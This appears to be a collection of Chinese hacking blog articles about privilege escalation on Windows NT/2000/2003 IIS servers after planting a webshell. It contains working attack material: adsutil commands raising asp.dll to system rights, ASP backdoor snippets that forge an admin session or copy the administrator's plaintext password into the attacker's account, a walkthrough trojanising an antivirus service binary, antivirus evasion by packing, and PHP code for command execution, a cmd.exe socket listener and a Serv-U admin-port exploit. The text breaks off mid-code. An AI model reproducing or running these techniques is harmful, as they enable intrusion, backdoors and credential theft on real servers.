1)查看有特权的dll文件:
命令为:cscript adsutil.vbs get /W3SVC/InProcessIsapiApps
得到显示为:
C:\\Inetpub\\AdminScripts>cscript adsutil.vbs get /W3SVC/InProcessIsapiApps
Microsoft (R) Windows 脚本宿主版本 5.1 for Windows
版权所有(C) Microsoft Corporation 1996-1999. All rights reserved.
InProcessIsapiApps : (LIST) (5 Items)
"C:\\WINNT\\system32\\idq.dll"
"C:\\WINNT\\system32\\inetsrv\\httpext.dll"
"C:\\WINNT\\system32\\inetsrv\\httpodbc.dll"
"C:\\WINNT\\system32\\inetsrv\\ssinc.dll"
"C:\\WINNT\\system32\\msw3prt.dll"
看到没有,他说明的是有特权限一族为:idq.dll httpext.dll httpodbc.dll ssinc.dll msw3prt.dll
这几个文件,不同的机子,可能会不同.
2)把asp.dll加入特权一族:
因为asp.dll是放在c:\\winnt\\system32\\inetsrv\\asp.dll (不同的机子放的位置不一定相同)
我们现在加进去cscript adsutil.vbs set /W3SVC/InProcessIsapiApps "C:\\WINNT\\system32\\idq.dll" "C:\\WINNT\\system32\\inetsrv\\httpext.dll" "C:\\WINNT\\system32\\inetsrv\\httpodbc.dll" "C:\\WINNT\\system32\\inetsrv\\ssinc.dll" "C:\\WINNT\\system32\\msw3prt.dll""c:\\winnt\\system32\\inetsrv\\asp.dll"
好了,现在你可以用cscript adsutil.vbs get /W3SVC/InProcessIsapiApps 来查看是不是加进去
了,注意,用法中的get和set,一个是查看一个是设置.还有就是你运行上面的你要到C:\\Inetpub\\AdminScripts>这个目录下.
那么如果你是一个管理员,你的机子被人用这招把asp提升为system权限,那么,这时,防的方法就是把asp.dll T出特权一族,也就是用set这个命令,覆盖掉刚才的那些东东.
例:cscript adsutil.vbs set /W3SVC/InProcessIsapiApps "C:\\WINNT\\system32\\idq.dll" "C:\\WINNT\\system32\\inetsrv\\httpext.dll" "C:\\WINNT\\system32\\inetsrv\\httpodbc.dll" "C:\\WINNT\\system32\\inetsrv\\ssinc.dll" "C:\\WINNT\\system32\\msw3prt.dll"
这样就可以了,当你再用cscript adsutil.vbs get /W3SVC/InProcessIsapiApps 这个语句查之时,如果没有看见asp.dll,
说明,asp的权限又恢复到以前的权限.

winNT/2000提升权限

Windows NT/2000 通用的提升方法

攻击者在获得系统一定的访问权限后通常要把自己的权限提升到管理员组,这样攻击者就控制了该计算机系统。这主要有以下几种方法:1.获得管理员密码,下次就可以用该密码进入系统; 2. 先新建一个用户,然后把这个普通添加到管理员组,或者干脆直接把一个不起眼的用户如guest 添加到管理员组; 3. 安装后门。

本文简要介绍在 Windows NT4和 Windows 2000 里攻击者常用的提升权限的方法。下面是具体方法:

方法1 :下载系统的 %windir%\\repair\\sam.*(WinNT 4 下是sam._ 而Windows2000下是sam )文件,然后用L0pht 等软件进行破解,只要能拿到,肯花时间,就一定可以破解。

问题:(1 )攻击者不一定可以访问该文件(看攻击者的身份和管理员的设置);(2 )这个文件是上次系统备份时的帐号列表(也可能是第一次系统安装时的),以后更改帐号口令的话,就没用了。

方法2 :使用pwdump(L0pht 自带的,Windows 2000下无效)或者pwdump2 ,取得系统当前的用户列表和口令加密列表,然后用L0pht 破解这个列表。

问题:普通用户不能成功运行pwdump类程序(没有权限),例如:使用unicode漏洞进入系统时是IUSR_computer 身份,该用户一般只属于guests组的,运行pwdump类程序就会失败。

(以上两种是离线的)

方法3 :使用 Enum 等程序进行远程破解,猜口令。enum可以使用指定的字典对远程主机的某个用户进行破解。

问题:(1 )如果系统设置了帐号锁定的话,破解几次失败,该帐号就锁定了,暂时不能再破解;(2 )要远程系统开放 Netbios连接,就是 TCP的139 端口,如果用防火墙过滤了的话 Enum 就无法连接到主机。

(以上方法是通过破解获得密码的,还有直接把当前用户提升权限或者添加用户到管理员组的方法。)

方法4 :GetAdmin(WinNT 4 下)、PipeUpAdmin (Windows 2000下),在本机运行可以把当前用户帐号加入管理员组。而 PipeUpAdmin则比较厉害,普通用户和Guests组用户都可以成功运行。

问题:GetAdmin在 SP4有补丁修复了,不能用于高于 SP4的 WinNT 4系统,当然后来又有GetAdmin的增强版本,不过在 SP6a 下好像都不能成功运行。

注:这一方法利用了 WinNT 4系统的安全漏洞,可以安装补丁解决这一问题。

(此外还有变通的方法。)

方法5 :在WinNT 4 和 Windows 2000 注册表里指定用户Shell 程序(Explorer.exe)

时没有使用绝对路径,而是使用了一个相对路径的文件名(考虑到兼容性问题)。

由于在系统启动时程序的搜索顺序问题使得 %Systemdrive%\\Explorer.exe(操作系统安装的跟目录下的Explorer.exe)程序执行
,这提供了攻击者一个机会在用户下次登录时执行他自己的程序。

问题:攻击者必须有安装系统逻辑盘跟目录的写权限才行,而一般管理员都设置该目录普通用户禁写。

注:这种方法利用了 WinNT 4/Windows 2000 系统的安全漏洞,可以安装补丁解决这种问题。

方法6 :木马:上传木马,然后运行木马,系统重起动后,木马就是本地登录用户的身份了,然后攻击者连接后就有了本地登录用户的权限。因为一般总是管理员本地登录系统,因此这样很可能就获得了管理员的权限。

问题:(1 )杀毒软件或病毒防火墙可能阻止木马运行,还有可能把木马杀死。

(2 )有的木马不能在Guests组身份下运行,这可能与它添加自动运行的方式有关;如没有权限改写注册表的自动运行位置,不能写入%system%\\system32目录(一般的木马都改变文件名,然后写入系统目录,如果没有写入权限系统目录,就不能成功执行木马)。

解决:不过也有用压缩程序(不是通常说的压缩程序,这种压缩程序把可执行程序压缩后,文件变小了,但是仍然可以正常执行)将木马压缩,从而逃过杀毒软件的特征码检测。我曾使用Aspack成功压缩了一个木马,逃过了金山毒霸正式版的检测。不过也有的木马Aspack压缩不了,如冰河。

方法7 :Gina、GinaStub木马。虽然这个也叫木马,但是它的功能和上边的那种大不相同,因为一般的木马是在对方安装一个server端,一旦运行就可以使用client端连接到server端,并进行操作。而 ginastub 一般只有一个动态连接库文件,需要手工安装和卸载,他的功能也不是使用client端控制server端,它仅仅就是捕获用户的登录密码。

问题:安装较麻烦,成功的可能性低,而且安装不当会造成被安装的系统不能启动。

注:这一方法利用的不是系统的安全漏洞,因此不能通过安装补丁解决这一问题。关于Gina,可以参见我的另一篇文章《WinLogon登录管理和GINA简介》

方法8 :本地溢出。缓冲区溢出是进行攻击的最好办法,因为一般都可以获得系统权限或者管理员权限;不过很多远程溢出攻击不需要事先有执行程序的权限,而本地溢出就恰好适合提升权限。Win NT4 的 IIS4 的 ASP扩展有一个本地溢出漏洞,Windows 2000的静态图像服务也有一个溢出漏洞,利用该漏洞,攻击者可以获得系统权限。当然 Windows NT 和 Windows 2000 还有很多程序有溢出漏洞,这是这些程序不是总在运行,因此被利用的可能性比较小。

问题:(1 )ASP 扩展的溢出漏洞需要攻击者有向网站的脚本目录的写权限,才能把攻击程序放到网站上,然后执行。

(2 )静态图像服务缺省没有安装,只有用户在 Windows 2000 上安装静态图像设备(如数码相机、扫描仪等)时才自动安装。

注:这种方法利用了 WinNT 4/Windows 2000 系统的安全漏洞,可以安装补丁解决这种问题。

Windows 2000专用提升漏洞方法方法1 : Windows 2000 的输入法漏洞,利用这个漏洞任何人可以以LocalSystem 身份执行程序,从而可以用来提升权限,不过该漏洞一般限于物理接触 Windows 2000 计算机的人。当然如果开放了终端服务的话,攻击者也可以远程利用该漏洞。

注:这一方法利用了 Windows 2000 系统的安全漏洞,可以安装补丁解决这一问题。

方法2 :利用 Windows 2000 的 Network DDE DSDM 服务漏洞普通用户可以LocalSystem 身份执行任意程序,可以借此更改密码、添加用户等。Guests组用户也可以成功利用该漏洞。

问题:这个服务缺省没有启动,需要启动这个服务。

注:这一方法利用了 Windows 2000 系统的安全漏洞,可以安装补丁解决这一问题。

方法3 :Windows 2000的 TELNET 服务进程建立时,该服务会创建一个命名管道,并用它来执行命令。但是,该管道的名字能被预见。如果 TELNET 发现一个已存在的管道名,它将直接用它。攻击者利用此漏洞,能预先建立一个管道名,当下一次 TELNET 创建服务进程时,便会在本地 SYSTEM 环境中运行攻击者代码。

注:这一方法利用了 Windows 2000 系统的安全漏洞,可以安装补丁解决这一问题。

方法4 :WINDOWS 2K存在一个利用 Debug Registers提升权限的漏洞。如果攻击者能在 WIN2K中运行程序,利用此漏洞,他至少能取得对 %Windir%\\SYSTEM32和注册表HKCR的写权。因为x86 Debug Registers DR0-7 对于所有进程都是全局共享的,因此在一个进程中设置硬件断点,将影响其它进程和服务程序。

注:这一方法利用了 Windows 2000 系统的安全漏洞,不过到目前为止微软仍然没有补丁可以安装,但是漏洞攻击程序已经出现了,因此只能堵住攻击者的入口来阻止利用该漏洞。

巧妙配合asp木马取得后台管理权限顶(这个可是经典。。。自己体会我不多说了)

前段时间泛滥成灾的动网论坛上传漏洞以及最近接二连三的各种asp系统暴露的上传漏洞,可能很多朋友手中有了很多webshell的肉鸡,至于选择怎么样这些小鸡的方式也是因人而异,有人继续提升权限,进一步入侵,也有人只是看看,马儿放上去了过了就忘记了,也有一些朋友,当webshell的新鲜劲儿过去了后台的神秘感和诱惑力也就大大增加。其实,对很多功能强大的系统而言,拿到后台也就是拿到了一个好的后门了,呵呵............但是现在比较新的版本的很多asp系统密码都是MD5加密然后配合严格的验证程序来验证的,但是我们就没有办法突破这些限制了吗?no!我今天就是要说怎么突破这些限制让我们直奔后台,有马儿厩是好办事,follow
me............
session欺骗篇
首先简单说一下一般asp系统的身份验证原理。
一般来说,后台管理员在登录页面输入账号密码后,程序会拿着他提交的用户名密码去数据库的管理员表里面找,如果有这个人的账号密码就认为你是管理员,然后给你一个表示你身份的session值。或者程序先把你的用户名密码提取出来,然后到数据库的管理员表里面取出管理员的账号密码来和你提交的相比较,如果相等,就跟上面一样给你个表示你身份的sesion值。然后你进入任何一个管理页面它都要首先验证你的session值,如果是管理员就让你通过,不是的话就引导你回到登录页面或者出现一些奇奇怪怪的警告,这些都跟程序员的个人喜好有关。
知道了原理,我们现在的一个思路就是通过我们的asp木马来修改它的程序然后拿到一个管理员session,这样的话尽管我们没有管理员密码,但是我们一样在后台通行无阻了。我把这种方法称为session欺骗。限于篇幅不能每个系统都能详细说明,本文仅以动力文章系统为例来说明。
动力文章系统3.51

其实动力文章系统的所有版本全部通杀,包括动易。大家可以自己实践一下。
我们先来看一下它的验证内容。动力文章3.51的验证页面在Admin_ChkLogin.asp
,其验证内容如下:
............
else
rs("LastLoginIP")=Request.ServerVariables("REMOTE_ADDR")
rs("LastLoginTime")=now()
rs("LoginTimes")=rs("LoginTimes")+1
rs.update
session.Timeout=SessionTimeout
session("AdminName")=rs("username")
rs.close />set rs=nothing
call CloseConn()
Response.Redirect "Admin_Index.asp"
前面省略号是用户名密码不正确的验证,直到else,看一下,如果用户名密码正确就给你两个session值:
session.Timeout=SessionTimeout
session("AdminName")=rs("username")
我们在看一下其他管理页面是怎么验证session的,admin_index.asp一开始就这样:
if session("AdminName") = "" then response.Redirect "Admin_Login.asp"end if
看起来似乎很严密,但是我们看一下,它这里值验证一个AdminName的session,只要我们的session内容是AdminName的话不就可以通过了?好,我们开工,先去弄到它的管理员账号再说,这个不要我教你了吧?到他网站逛一下或者直接一点下载它的数据库来看都可以知道。我们找个页面来改一下,我找一个比较没人而内容较多的页面FriendSite.asp(友情链接页面)来改,呵呵,这样管理员也很难查得出来啊。用asp木马的编辑功能来编辑一下它的内容。在他页面下隐蔽处加上下面几句话:
dim id
id=trim(request("qwe"))
if id="120" then
session("AdminName")="admin" ‘这里是假设的,实际操作中可以改成你想要得管理员账号
end if
我简单说一下这句话的意思,就是说从地址栏取得hehe的值,如果hehe=120的话,那么系统就给我们一个值为admin的session。好了,我们输入看一下,图二:

看到有什么异常吗,没有吧?还是正常页面,但是我们接着在地址栏中输入它的后台管理首页看看,是不是进去了?

呵呵,别做坏事哦............
小结一下:我们先找到弄到管理员账号,然后找到它的验证页面,根据它的验证内容来写入我们要的后门。不同的系统有不同的验证方式,比如青创文章系统它不但要验证你的用户名还要验证等级,但是我们总体思路还是一样,就是他验证什么我们就加入什么。

密码窃探篇
可以说上述方法在动网论坛或者其他论坛面前是苍白无力的,因为一般论坛由于交互性较强,所以在验证上考虑了很多。以动网为例,你要登录后台,他先验证你有没有先登录了前台,没有的话就给你返回一个错误页面。你登录前台后系统会给你一个seession来记录你的CacheName和你的ID,然后在你登录后台的时候拿出来比较你前后台身份是否一致,一直就通过,否则kill,面对这样严格的验证,难道我们就没有办法基后台了吗?对,没有了(谁拿鸡蛋扔我?这么浪费。),但是我们可以想新的办法,既然验证这么严格,那么我如果拿着密码光明正大的进去呢?因此,这里一个新的思路就是拿到它的明文密码。什么时候有明文密码呢?对了,就在管理员登录的时候。好,我们就在那里做手脚,把它登录的密码发给我们,然后我们拿和它的密码去登录。呵呵,是不是很像sniffer啊?在下在前几个月刚和好兄弟潜龙在野利用硬件sniffer配合省网安局的人端掉一个非法电影网站,足足4000G的硬盘,几十台服务器,一个字:爽
好了,我们开始修改它的程序。编辑login.asp,加入以下几句话:
if not isnull(trim(request("username"))) then
if request("username")="admin" then
sql="update [Dv_Vser] set UserEmail=(select userpassword from
[Dv_User]
where username=\'"& request("username")&"\') where
UserName=\'aweige\'"
conn.execute(sql)
end if
end if

这几句话的意思就是说如果admin(假设的,实际操作中改为你要的管理员名字)登录成功就更新数据库,把他的密码放到我资料的E-mail中。当然,你必须先在论坛里注册一个用户名。结果如图四:

还有,如果是动网7.0以下的默认数据库admin表名和7.0以上有点不一样,所以实际操作中不可生搬硬套。

后记:
对于以上两种方法直到目前为止我还想不出任何比较有效的解决方法,因为你的网站被人家放了马,你根本就没办法去阻止人家去插入,要是谁有好的解决方法记得告诉我。

另外,希望大家不要去搞破坏,那时我真的不愿看到的,也祝所有的网管们好运,希望你们不会碰上craker们

巧用asp木马和KV2004得到管理员权限

重来没写过什么文章,这是第一次,写的不好请大家原谅,高手也不要取笑哦。这里也没什么技术可言,只是我这个菜鸟的一点心得,ok开始。。。
前段时间动网的UPfile.asp漏洞可谓闹的沸沸扬扬,这个漏洞确实很厉害,相信不少新手和我一样种了不少后门在有动网的网站上,但是asp木马的权限确实很底,除了删点文章,删点图片好象没什么用了。不行不得到管理员权限简直就辜负了发现这个漏洞的高手们~v~。好,想办法提升权限,我找啊找!网上提升权限的方法几乎都用过了,都没什么用,补丁打的很全啊!接下来用findpass想解开管理员的密码,又失败,findpass要管理员权限才有用。用pslist看看晕装的是瑞星+天网,网上的大部分工具遇上这个防御组合一般都没用了。种木马?不行一来
权限太底,二来在瑞星杀天网堵的包围下很少能活出来的。做个添加用户权限的bat文件想放到启动组中去,这个方法虽然有点傻但是有一定的可行性,晕又是权限不够加不进去。c盘下的"Program Files" "winnt" "Documents and Settings"三个文件甲都没有写权限,更不要说注册表了。郁闷了,给管理员留了句话,然后匆匆下线。
第2天上来一看,嘿嘿图被改回来了,管理员应该发现了,这次更不容易得手。登上asp木马进去看了一下,昨天传上去的几个exe被删了,还好asp木马活下来了,咦!c盘多了文件甲叫KV2004,原来管理员把瑞星卸了,安了个kv2004,进Program Files看看确实瑞星被卸了。(这里说一下,大部分的杀毒软件默认的安装路径c:\\Program Files\\,但是kv默认的安装路径是c:\\kv2004\\)到这里机会就来了我们可以把执行文件捆绑在kv2004上,跟随kv一起启动。因为kv不在"Program Files" "winnt" "Documents and Settings"这三个文件甲中,很大可能我可以修改

或者上传文件。行动!在kv2004下随便找个htm文件删除:(看看有无写删权限)
C:\\>del c:\\kv2004\\GetLicense.htm
拒绝访问

奇怪了,再来看看文件甲属性
C:\\>attrib c:\\kv2004
S R C:\\KV2004

哦是只读。
C:\\>attrib -r -s c:\\kv2004

ok!在试试
C:\\>del c:\\kv2004\\GetLicense.htm

成功了!好写个起用帐号和提升权限的bat文件,然后把bat文件和kv2004的系统服务文件KVSrvXP.exe捆绑起来,(注意多下种捆绑器,捆绑一

次用kv2004来扫描一次,因为很多捆绑器生成的文件kv会把他作为病毒来处理掉)准备上传了,先删掉原来的KVSrvXP.exe。
C:\\>del c:\\kv2004\\KVSrvXP.exe
拒绝访问

可能是KVSrvXP.exe被windows调用中,删不掉。没办法了吗?不,删不掉我改名
C:\\>ren c:\\kv2004\\KVSrvXP.exe kv.exe

OK!然后用asp木马把修改了的KVSrvXP.exe上传到kv2004中,接下来就去睡觉把。
4个小时后登上来用:
net user 起用的帐户

已经在administrators组中,接下来要关防火墙,关杀毒软件,还是种木马你随便我了,哈哈!
我觉得入侵没什么固定的模式,具体情况具体分析,杀毒软件同样也可以帮我们忙,这里我只提供了一种思路。请大家指教。

如何绕过防火墙提升权限

本文讲的重点是webshell权限的提升和绕过防火

分类: 技术文章 标签:

Serv-U提权综合工具

2006年10月7日 没有评论 408 views

Serv-U提权综合工具 by 执着我一生[F.S.T]

=============
说明
=============
1.生成的文件都和本程序在同一目录下。[被杀自己想办法:)]

2.口令读取的方法比较笨,要和版本正确对应,否则读不出来。目前支持的版本还不全。

3.使用过程中,如果你发现什么Bug或是有好的建议请与我联系。不胜感激!

4.开发环境:VC6.0sp6 + XPSP2

用ASProtect加壳

文件md5校验值:5377a1ae7994a100d8207a833cfa8542

ps:感谢狗剩兄弟的无私帮助!!![告诉我动态定位读取口令的方法,本人不才,还不能完美实现,目前

还在改进中:)]

=============
声明
=============

1.本软件仅供技术研究,请不要用于非法用途.对使用本软件造成的任何后果作者一概不负责!

2.本软件为免费软件,您可以随意使用但请不要对软件进行更改,传播过程中也请您保持软件的完整性.版权归原作者执着我一生[F.S.T]所有.

=============
联系方式
=============

My Blog: http://www.allife.org

Email : elong2008@126.com

QQ : 61006284

分类: 资源共享 标签: ,

突破WIN2003 PHP服务器的新思路

2006年9月28日 没有评论 67 views

从WIN2000到WIN XP, 再到WIN2003, MS IIS服务器安全性的提高是显而易见的。 在WIN2000中, 一个普通的PHP SHELL便能把它打垮; 在WIN XP, 即使Safe mode = off,你也无法用system() 等函数执行系统命令, 但是我们还能用com()函数进行突破;到WIN 2003,即使IIS 和PHP都是默认安装,你用system(), com()也可能拿它没辙。这时候你就不得不使用一些新的方法来进行突破了。

1、disable_functions的突破

在php -4.0.1以上的版本,php.ini里引入了一项功能disable_functions , 这个功能比较有用,可以用它禁止一些函数。比如在php.ini里加上disable_functions = passthru exec system popen 那么在执行这些函数的时候将会提示Warning: system() has been disabled for security reasons,同时程序终止运行。但是也不是没有办法执行系统命令了。因为php采用了很多perl的特性,比如还可以用(`)来执行命令,示例代码如下:

<?
$output = `ls -al`;
echo "<pre>$output</pre>";
?>

据说这个只有设成safe_mode为on才能避免,但上次我在一台国外的服务器上使用的时候还是失败了,人并不是什么时候都能那么走运的:)

2、dl()函数的应用

当任何PHP的内部命令执行数和''都无法使用的时候,可以尝试dl(),该方法只能用于safe mode=off, 因为它在安全模式下是被禁用的。利用dl()你可以直接调用W32api 函数,可惜这个扩展已被移动到 PECL 库中,且自PHP 5.1.0以下版本起不再被绑定。以下是手册里的例子:

// 加载此扩展
dl("php_w32api.dll");

// 注册 GetTickCount 函数,来自 kernel32.dll
w32api_register_function("kernel32.dll",
"GetTickCount",
"long");

// 注册 MessageBoxA 函数,来自 User32.dll
w32api_register_function("User32.dll",
"MessageBoxA",
"long");

// 取得开机时间信息
$ticks = GetTickCount();

// 转换为易于理解的文本
$secs = floor($ticks / 1000);
$mins = floor($secs / 60);
$hours = floor($mins / 60);

$str = sprintf("You have been using your computer for:".
"\r\n %d Milliseconds, or \r\n %d Seconds".
"or \r\n %d mins or\r\n %d hours %d mins.",
$ticks,
$secs,
$mins,
$hours,
$mins - ($hours*60));

// 显示一个消息对话框,只有一个 OK 按钮和上面的开机时间文本
MessageBoxA(NULL,
$str,
"Uptime Information",
MB_OK);
?>

可惜我还没有理解透彻dl()和W32api, 所以就不乱举例子了, 免得误导读者。

3、COM 和 .Net(Windows)函数的应用

COM(Component Object Model,组件对象模型)是微软开发的软件规范,它用于开发面向对象的、编译好的软件组件,它允许把软件抽象成为二进制的部件,主要运用于windows平台。
PHP 的 Windows 版本已经内置该扩展模块的支持。无需加载任何附加扩展库即可使用COM函数。它的使用方法类似于C++或Java中类的创建的语法,并把COM的类名作为参数传递到构造函数。例如使用在PHP中调用“WScript.Shell”执行系统命令:

<?
$cmd=” E:/cert/admin/psexec.exe”;
if($com=new COM("WScript.Shell")) echo "yes";

if(!$cmd1=$com->exec($cmd))
{
echo "can not exec()";
}

if(!$cmd2=$cmd1->stdout())
{
echo "can not stdout()";
}

if(!$cmd3=$cmd2->readall())
{
echo "can not readall()";
}
echo $cmd3;
?>

图1是我写的一个执行psexec.exe的一个例子。

这段代码与ASP的<%=server.createobject("wscript.shell").exec("cmd.exe /c netstat –an”).stdout.readall%>的意思是一模一样的,当然,你也可以像ASP那样调用“ADODB.Connection”,利用这个组件结合jet2溢出漏洞,可能能够在PHP Saft mode=ON下拿到一个Shell。

<?php
//create the database connection
$conn = new COM("ADODB.Connection");
$dsn = "DRIVER={Microsoft Access Driver (*.mdb)}; DBQ=" . realpath("mydb.mdb");
$conn->Open($dsn);
//pull the data through SQL string
$rs = $conn->Execute("select clients from web");
…..
?>

.Net 函数只能运行在 PHP 5上,当然,它需要 “.Net runtime”的支持,而且这的PHP的一个实验性模块,功能还未齐全,所以在这就不讨论了。

4、Java()函数的应用

该方法适用于safe mode=on。要使用JAVA模块服务器必须事先安装Java虚拟机,而且在PHP安装配置的时候打开了with-java的选项,代码如下:

[JAVA]
;这是到php_java.jar的路径
;java.class.path = .\php_java.jar
;JDK的路径
;Java.home = f:\jdk1.3.0
;到虚拟机的路径
;Java.library=f:\jdk1.3.0\jre\bin\hostspot\jvm.dll

同COM一样,使用Java创建类(不仅仅是JavaBeans)只需把JAVA的类名作为参数传递到构造函数。以下是手册里边的一个例子:

<?php
// This example is only intended to be run as a CGI.

$frame = new Java('java.awt.Frame', 'PHP');
$button = new Java('java.awt.Button', 'Hello Java World!');

$frame->add('North', $button);
$frame->validate();
$frame->pack();
$frame->visible = True;

$thread = new Java('java.lang.Thread');
$thread->sleep(10000);

$frame->dispose();
?>

可惜能真正支持JAVA的PHP服务器并不多见,所以在这也不多讨论了。

5、socket()函数的应用

socket 是PHP中功能极为强大的一个模块,如果你使用高级的、抽象的接口(由fsockopen()和psockopen函数打开的socket),是不需要打开“php_sockets.dll”的。但是如果要使用完整的socket函数块,就必须在php.ini这样设置:

;Windows Extensions
;Note that MySQL and ODBC support is now built in, so no dll is needed for it.
……..
;去掉以下一句最前边的分号
;extension=php_sockets.dll

使用PHP的socket函数块可以实现端口转发/重定向、数据包嗅探、本地溢出等功能, nc能做的, 它大部分都能做到。而且, 还可以用它构造TCP/UDP服务器, 同时, 我觉得它也是突破服务器安全策略的一个最好的办法。以下便是一个在服务器上打开端口构造TCP服务器的例子,你可以用它来捆绑上服务器的cmd.exe:

<?php
//在服务器上构造TCP服务
//该例子需要php_sockets.dll的支持
//执行后便可使用” telnet 127.0.0.1 1020”连接
error_reporting(E_ALL);

/* Allow the script to hang around waiting for connections. */
set_time_limit(0);

/* Turn on implicit output flushing so we see what we're getting
* as it comes in. */
ob_implicit_flush();

//在服务器上绑定IP和端口
$address = '127.0.0.1';
$port = 1020;

if (($sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP)) < 0) {
echo "socket_create() failed: reason: " . socket_strerror($sock) . "\n";
}

if (($ret = socket_bind($sock, $address, $port)) < 0) {
echo "socket_bind() failed: reason: " . 
socket_strerror($ret) . "\n";
}

if (($ret = socket_listen($sock, 5)) < 0) {
echo "socket_listen() failed: reason: " . socket_strerror($ret) . "\n";
}

do {
if (($msgsock = socket_accept($sock)) < 0) {
echo "socket_accept() failed: reason: " . socket_strerror($msgsock) . "\n";
break;
}
/* Send instructions. */
$msg = "\nWelcome to the PHP Test Server. \n" .
"To quit, type 'quit'. To shut down the server type 'shutdown'.\n";
socket_write($msgsock, $msg, strlen($msg));

do {
if (false === socket_recv($msgsock, $buf , 1024, 0)) {
echo "socket_read() failed: reason: " . socket_strerror($ret) . "\n";
break 2;
}
if (!$buf = trim($buf)) {
continue;
}
if ($buf == 'quit') {
break;
}
if ($buf == 'shutdown') {
socket_close($msgsock);
break 2;
}
$talkback = "PHP: You said '$buf'.\n";
socket_write($msgsock, $talkback, strlen($talkback));
echo "$buf\n";

//以下处理接受到的buf
/*eg:例如
$buf=”cmd.exe /c netstat –an”;
$pp = popen('$buf ', 'r');
While($read = fgets($pp, 2096))
echo $read;
pclose($pp);
*/

} while (true);
socket_close($msgsock);
} while (true);

socket_close($sock);
?>

效果如图2、图3所示。

事实上,很多主机都是没有加载php_sockets.dll的,庆幸的是,不需要socket模块支持的“fsockopen”函数已经足够我们使用了。因为只要有“fsockopen”,我们便可以自由地读写本机中未对外部开放的端口。使用fsockopen读写serv-u 的本地管理端口43958 (注: 该端口无法在外部连结) 进行提权便是一个很典型的例子:

<?
$adminuser=” LocalAdministrator”;
$adminpass=” #l@$ak#.lk;0@P”;
$adminport=” 43958”;
$fp = fsockopen ("127.0.0.1",$adminport,$errno, $errstr, 8);
if (!$fp) {
echo "$errstr ($errno)<br>\n";
} else {

//可以写入$shellcode
// fputs ($fp, $shellcode);

fputs ($fp, "USER ".$adminuser."\r\n");
sleep (1);
fputs ($fp, "PASS ".$adminpass."\r\n");
sleep (1);
fputs ($fp, "SITE MAINTENANCE\r\n");
sleep (1);
fputs ($fp, "-SETUSERSETUP\r\n");
fputs ($fp, "-IP=".$addr."\r\n");
fputs ($fp, "-PortNo=".$ftpport."\r\n");
fputs ($fp, "-User=".$user."\r\n");
fputs ($fp, "-Password=".$password."\r\n");
fputs ($fp, "-HomeDir=".$homedir."\r\n");
fputs ($fp, "-LoginMesFile=\r\n");
fputs ($fp, "-Disable=0\r\n");
fputs ($fp, "-RelPaths=0\r\n");
fputs ($fp, "-NeedSecure=0\r\n");
fputs ($fp, "-HideHidden=0\r\n");
fputs ($fp, "-AlwaysAllowLogin=0\r\n");
fputs ($fp, "-ChangePassword=1\r\n");
fputs ($fp, "-QuotaEnable=0\r\n");
fputs ($fp, "-MaxUsersLoginPerIP=-1\r\n");
fputs ($fp, "-SpeedLimitUp=-1\r\n");
fputs ($fp, "-SpeedLimitDown=-1\r\n");
fputs ($fp, "-MaxNrUsers=-1\r\n");
fputs ($fp, "-IdleTimeOut=600\r\n");
fputs ($fp, "-SessionTimeOut=-1\r\n");
fputs ($fp, "-Expire=0\r\n");
fputs ($fp, "-RatioUp=1\r\n");
fputs ($fp, "-RatioDown=1\r\n");
fputs ($fp, "-RatiosCredit=0\r\n");
fputs ($fp, "-QuotaCurrent=0\r\n");
fputs ($fp, "-QuotaMaximum=0\r\n");
fputs ($fp, "-Maintenance=System\r\n");
fputs ($fp, "-PasswordType=Regular\r\n");
fputs ($fp, "-Ratios=None\r\n");
fputs ($fp, " Access=".$homedir."|RWAMELCDP\r\n");
fputs ($fp, "QUIT\r\n");
sleep (1);
while (!feof($fp)) {
echo fgets ($fp,128);
}
}
?>

还可以利用fsockopen编写HTTP代理,从而访问外网或本机中无法外部访问的网站。我手上有一个完整的HTTPProxy(图4),代码较长。有兴趣的读者可以看看。

6、MYSQL/MSSQL接口
不同于linux的是,windows下的mysql/MSSQL一般是以系统管理员身份运行的,因此,只要能拿到本机SQL数据库中的root/sa密码,你就可以直接用PHP连接数据库来执行系统命令。
在Mysql中执行系统命令要利用用户自定义函数“MySQL UDF Dynamic Library”这个漏洞。在MSSQL中只要连接上数据库,就能直接调用“master..xp_cmdshell“扩展执行命令,权限当然是system权限。

总结一下:由于系统、IIS、PHP的版本不一样,以上提到的几个突破方法可能会有所变化,PHP还有许多扩展功能是可以利用的,走出system()那几个系统命令执行函数,你就有可能突破系统安全策略的限制!

后面附上proxy.php的代码

<?php
error_reporting(E_ALL);

/*
// This program is free software; you can redistribute it and/or
// modify it under the terms of the GNU General Public License
// as published by the Free Software Foundation; either version 2
// of the License, or (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with this program; if not, write to the Free Software
// Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
//-------------------------------------------------------------------
// Class: PHProxy
// Author: ultimategamer00 (Abdullah A.)
// Last Modified: 6:28 PM 6/22/2004
*/

function __stripslashes($str)
{
return get_magic_quotes_gpc() ? stripslashes($str) : $str;
}

if (!function_exists('str_rot13'))
{
function str_rot13($str)
{
static $alpha = array('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ',
'nopqrstuvwxyzabcdefghijklmNOPQRSTUVWXYZABCDEFGHIJKLM');
return strtr($str, $alpha[0], $alpha[1]);
}
}

class PHProxy
{
var $allowed_hosts = array();
var $version;
var $script_url;
var $url;
var $url_segments;
var $flags = array('include_form' => 1, 'remove_scripts' => 1, 'accept_cookies' => 1, 'show_images' =
> 1, 'show_referer' => 1);
var $socket;
var $content_type;
var $request_headers;
var $post_body;
var $response_headers;
var $response_body;

function PHProxy($flags = 'previous')
{
$this->version = '0.2';
$this->script_url = 'http'
. (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on' ? 's' : '')
. "://";
$this->set_flags($flags);
}

function start_transfer($url)
{
$this->set_url($url);
$this->open_socket();
$this->set_request_headers();
$this->set_response();

if ($this->follow_location() === false)
{
if ($this->flags['accept_cookies'] == 1)
{
$this->set_cookies();
}
$this->set_content_type();
}
else
{
$this->start_transfer($this->url);
}
}

function open_socket()
{
$this->socket = @fsockopen($this->url_segments['host'], $this->url_segments['port'], &$errno, &$errstr, 5);

if ($this->socket === false)
{
$this->trigger_error("$errstr (<b>URL:</b> )");
}
}

function set_response()
{
fwrite($this->socket, $this->request_headers);
$response = '';

do
{
